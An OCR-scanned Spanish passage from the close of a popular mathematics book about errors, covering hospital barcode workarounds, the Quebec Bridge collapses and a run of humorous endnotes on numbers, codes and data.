salir mal. Para poder ahorrar tiempo, algunos miembros del personal no se
molestaban en escanear el codigo de barras de la pulsera del paciente; en su
lugar, llevaban copias de repuesto de los codigos de barras de los pacientes en
su cinturon o pegaban copias en los armarios de suministro. También
escaneaban dos veces la misma medicacion en lugar de escanear dos envases
diferentes si creian que estos eran idénticos.

Asi pues, disponer de codigos de barras provoco situaciones en las que los
farmacos que correspondian a cada paciente se comprobaban con menos
atencion que antes. Si se pone en marcha un sistema nuevo, los humanos
pueden ser muy habilidosos a la hora de encontrar nuevas formas de cometer
errores.

Puede ser muy peligroso cuando los humanos se vuelven
autocomplacientes y piensan que saben mas que las matematicas. En 1907, en
una seccion del rio St. Lawrence, en Canada, se estaba construyendo un
puente de acero por el que pasaria tanto una carretera como una via de tren, y
que media mas de medio kilometro de largo. L.a construccion estaba en
marcha, pero el 29 de agosto uno de los obreros se dio cuenta de que un
remache que habia colocado una hora antes se habia partido por la mitad
misteriosamente. Entonces, de repente, toda la seccion sur del puente se
derrumbd, con un ruido que se oy6 hasta una distancia de diez kilometros. De
las ochenta y seis personas que trabajaban en ese momento en el puente,
setenta y cinco murieron.

Se habia cometido un error de calculo en cuanto a lo pesado que podia ser,
en parte debido a que cuando el disefio del puente pas6 de los 487 metros a
548 metros, las fuerzas no se recalcularon, por lo que las vigas inferiores de
apoyo cedieron y finalmente se partieron por completo. Los obreros habian
expresado sus preocupaciones sobre el hecho de que las vigas del puente se
estaban deformando cuando llevaban un tiempo colocadas, y algunos de ellos
dejaron el trabajo por miedo. Pero los ingenieros hicieron caso omiso de sus
preocupaciones. Incluso cuando se descubrio el error de calculo de la carga, el
ingeniero jefe decidié seguir con la construccion; llegaron a la conclusion de
que estaria bien sin necesidad de hacer las comprobaciones pertinentes.
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Después de su hundimiento, el puente fue redisefiado, y las vigas que
soportan la carga critica tienen ahora el doble de area transversal que las del
primer intento. Este disefio tuvo éxito y el puente de Quebec se sigue
utilizando desde hace mas de un siglo de su finalizacion, en 1917. Pero la
construccion no estuvo exenta de problemas. Cuando, en 1916, se colocé en
su sitio la seccion media, las maquinas elevadoras se rompieron y esa seccién
del puente cay6 en el rio. Trece obreros perdieron la vida. La seccion media
se hundio y, hasta la fecha, sigue alojada en el lecho del rio, cerca del primer
puente que se derrumbd. Construir es un trabajo peligroso y el error mas
pequenio puede costar vidas.

Ser ingeniero, o trabajar en cualquier trabajo importante en el que se
utilicen las matematicas, es un trabajo aterrador. Debido al desastre del puente
de Quebec, desde 1925, cualquier estudiante que se gradué en un grado de
ingenieria en Canada puede acudir voluntariamente al ritual de nominacion de
ingeniero, en el que se les da un anillo de acero para recordarles la humildad y
falibilidad de los ingenieros. Puede acabar en tragedia cuando un matematico
comete un error que provoca un desastre, pero eso no significa que podamos
prescindir de ellas. Necesitamos ingenieros que disefien puentes, a pesar de la
presion que eso conlleva.

Pagina 273



Dos fotografias del puente: una tomada justo antes de que se derrumbara y otra después.

Nuestro mundo moderno depende de las matematicas y, cuando las cosas
salen mal, deberia servir como recordatorio aleccionador de que necesitamos
estar atentos al queso caliente pero también de que debemos recordar que
muchas cosas que funcionan a la perfeccion a nuestro alrededor lo hacen
gracias a las matematicas.
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Notas
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[11 Por supuesto, no podemos grabar un simbolo + o — en un niimero binario,
por lo que se utiliza un sistema para indicar positivo o negativo utilizando el
propio sistema binario, pero sigue necesitando un bit de espacio. <<
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[2] Para cualquier programador que piense que esto ya no es un problema, me
estoy refiriendo a un problema del XMLEncoder en Apache Flex. Compruebe
el informe de errores FLEX-33644. <<
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[3]1 En la mayoria de mapas en linea no aparece mas que agua donde deberia
estar la isla Null, excepto en los datos cartograficos de codigo abierto de
Natural Earth, que incluyen una mancha de un metro cuadrado de tierra en el
punto 0,0 desde su version 1.3. <<
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[41 Los puede descargar todos en https://oeis.org/A262222. Dato curioso:
fueron reunidos por mi compafiero de matematicas Christian Lawson-Perfect,
conocido por el poliedro Perfect-Herschel. <<
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[51 Suena ligeramente peor de lo que es porque las férmulas viajan en grupos:
una uUnica férmula se puede «arrastrar» para copiarla en varias celdas. Si
descontamos los duplicados, las hojas de calculo tenian una media de 17,5
errores Unicos cada una. <<
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6] En mi libro Things to Make and Do in the Fourth Dimension podra
encontrar una guia con la que hacer sus propias figuras. <<
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[71 Me doy cuenta de que parte de esta extrafieza se traslada a los semitonos (y
la definicion de una escala mayor). Pero son solo semiculpables. <<
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81 Un signo de exclamacién se utiliza para indicar que ese nimero es un
factorial y, dado lo sorprendentemente largas que pueden ser las respuestas,
parece muy apropiado. <<
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[91 Siempre dispuestos a aceptar un desafio, los matematicos le dieron el
nombre de «McCombinacion» a cualquier valor n! — n (secuencia A005096
en la Enciclopedia Online de Secuencias de Numeros Enteros) y estan
intentando encontrar un uso para estos nimeros. Hasta el momento no lo han
encontrado. <<
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[10] E] Menti McChoice fue una de las pocas veces en las que McDonald’s
vendio6 perritos calientes. Y, de algiin modo, ese no fue el mayor error en todo
esto. <<

Pagina 289



[11] Para ser justos, hay que decir que, en 1983, Estados Unidos amplié sus
codigos postales hasta los nueve digitos del modo «cédigo + 4», pero a los
estadounidenses amantes de la libertad no les hizo gracia que les asignaran
numeros especificos. Era una especie de 1984. Por lo que, desde entonces, los
codigos postales han seguido teniendo solo cinco digitos de cara al publico;
entre bambalinas, los codigos de barras de correos que se imprimen en las
cartas utilizan el «cédigo + 6» para asignar un cédigo de once digitos a todos
los edificios del pais. <<
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[12] Trénicamente, la tinica fraccién binaria que se puede grabar eficientemente
es %. En la base 10 es 0,5 porque cinco es la mitad de diez y, de la misma
forma, como binario de base 2 es 0,1 porque uno es la mitad de dos. Y si
hubiera infinitos digitos en 0,01111111... seria exactamente 0,1 de la misma
forma que 0,99999... # 1. Ignore a la gente que en internet se queja de que
0,99999... # 1, porque estan equivocados. <<
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[131 E] ndmero 754 no es significativo; el IEEE numera sus estandares de
forma secuencial en el orden en el que fueron solicitados. Justo antes de este
estaba el 753: «Métodos Funcionales y Equipamientos para Medir el
Rendimiento de los Sistemas de Sefializacion de Direcciones mediante
Pulsos» 'y, justo después, el 755: «Extensiones de Uso-test en
Implementaciones de Lenguajes de Alto Nivel para Microprocesadores». <<
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[14] En inglés son red (rojo) — blue (azul) — green (verde) — yellow (amarillo) —
magenta. (N. del t.) <<
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[15]' Casi. El ciclo «interno» no se invierte con el doble de dados, pero el
emparejamiento rojo contra verde se iguala al 49% (ligeramente a favor del
verde). Existe una segunda version de los dados de Grime que soluciona este
problema para que se siga decantando por el rojo, pero pierde subconjuntos de
dados, que funcionan como conjuntos no transitivos mas pequefios. <<
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[16] E] Harlem Shake fue un meme que se hizo popular en 2013. Se trataba de
unos videos que reproducian un baile aleatorio que empezaba con un
individuo solo y luego seguia con un grupo alrededor suyo, en los que
sonaban siempre la misma musica. (N. del t.) <<
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[17] Esta cifra cuidadosamente calculada estd sorprendentemente cerca de la
sencilla suposicion de que cada una de las tres mil transacciones diarias
durante veintidés meses hizo bajar el indice un promedio de 0,00045. <<
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[18] No solo he dividido la diferencia entre las dos fechas; es la prediccién a
partir de la linea que mejor se adapta a todos los récords realizados entre el
récord de 10,6 segundos del 6 de julio de 1912 y el de 10,2 segundos del 20
de junio de 1936. <<
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[19] Esta historia plantea algunos problemas fisicos. Puede que un dia la
reglamentacion respecto a la ayuda que aporta el viento tenga en cuenta el
movimiento browniano. <<
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[20] Por supuesto, si empezamos con un trozo de queso suizo sélido y lo
cortamos en lonchas, los agujeros se alinean porque se formaron por las
burbujas del queso. Asi que se ha de suponer que se han cortado las lonchas y
luego se han mezclado aleatoriamente. <<
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[21] Es justo lo contrario a lo que vimos en el caso del incendio del Apolo,
donde la unica salida era una escotilla tapén. Las salidas de emergencia nunca
deberian ser escotillas tapon. En este caso, el parabrisas nunca se deberia
abrir, por lo que se podia instalar desde dentro. <<
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[22] 1,as unidades como los pies, libras, y otras, utilizadas en Estados Unidos
son «Unidades tradicionales de Estados Unidos» o «Sistema anglosajon de
unidades», no unidades imperiales. Pero yo utilizaré «unidades imperiales»
como un comodin con el que referirme a todas estas familias de unidades. <<
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[23] E] «equipo de expertos» estaba compuesto realmente por un grupo de
estudiantes que querian un trabajo extra, y las mediciones se tenian que hacer
cuando no tenian clase. Las fuerzas aéreas intentaron que participase un
departamento de antropologia de una universidad, pero no le intereso a nadie.
<<
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[241 Los conjuntos afiadidos de datos se lograron mediante una evolucién lenta
de los datos a través de diminutos cambios que movian los puntos que
representaban los datos, creando una nueva imagen, pero sin modificar ni las
medias ni las desviaciones estandar. El software para hacer esto esta
disponible de manera gratuita. <<
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[25] Finalmente, su estudio fue publicado trece afios mas tarde, en 1993, como
ejemplo de sesgo de publicacion. <<
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[26] Para conocimiento de todos, aclaro que esto fue antes de que yo mismo
escribiera para el Guardian, pero el articulo fue escrito por mi amigo Ben
Goldacre, famoso por AllTrials. <<
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(271 En el momento de escribir este libro, ERNIE no se encuentra expuesto al
publico en el Museo de Ciencias. <<
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[28] En marzo de 2019 se puso en marcha ERNIE 5, un ordenador cuéntico
que es capaz de producir 13 millones de ganadores en tan solo 12 minutos una
vez al mes. (N. del t.) <<
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[29] Me satisface enormemente que una parte del recuento de palabras de este
libro haya sido, en este momento, generada al azar. <<
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[30] Esto fue en la época en la que el gobierno de Estados Unidos controlaba la
exportacion de software con una fuerte encriptacion, ya que consideraba que
esa criptografia era un arma. Por lo que la «version internacional» de
Netscape utilizaba un rango menor de claves criptograficas (40 bits en
comparacion con los habituales 128 bits) que, de todas formas, podian ser
descifradas con cierta facilidad en unas treinta horas. <<
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[31] Combinado con un lenguaje diferente que ignore los espacios,
tabulaciones y saltos de linea, esto significa que es posible escribir un codigo
bilinglie que puede ser interpretado por dos lenguajes de programacion

diferentes. <<
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EL PRIMER LIBRO DE MATEMATICAS QUE LLEGA AL
NUMERD 1 EN LAS LISTAS DE BEST SELLERS DE GRAN BRETANA

FIAS

EQUIVOCARSE
NUNCA

HA SIDO TAN
DIVERTIDO

> ‘Lectulandia
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